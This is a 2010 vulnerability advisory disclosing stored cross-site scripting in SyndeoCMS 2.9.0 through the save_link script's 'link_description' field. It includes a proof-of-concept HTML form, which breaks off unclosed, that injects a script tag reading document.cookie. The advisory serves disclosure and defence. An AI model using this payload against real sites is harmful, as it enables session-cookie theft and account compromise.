XSS vulnerability in SyndeoCMS

[advisory () htbridge ch]

Vulnerability ID: HTB22492
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_syndeocms_1.html
Product: SyndeoCMS
Vendor: The SyndeoCMS team ( http://www.syndeocms.org/ ) 
Vulnerable Version: 2.9.0 and Probably Prior Versions
Vendor Notification: 12 July 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the save_link script to properly sanitize user-supplied input in 
"link_description" variable. Successful exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form 
action="http://host/starnet/index.php?option=modulemanager&module=2&modoption=save_link&suboption=&page_id=3&link_id=2"; 
method="post" name="main" >

<input type="hidden" name="link_category" value="ICT">
<input type="hidden" name="link_title" value="Google">
<input type="hidden" name="link_url" value="http://www.google.com";>
<input type="hidden" name="link_description" value='Search Engine."><script>alert(document.cookie)</script>'>
<input type="hidden" name="link_sort" value="1">
<input type="hidden" name="page_id" value="3">
<input type="hidden" name="initial" value="1">
<input type="hidden" name="savebutton" value="   Save" >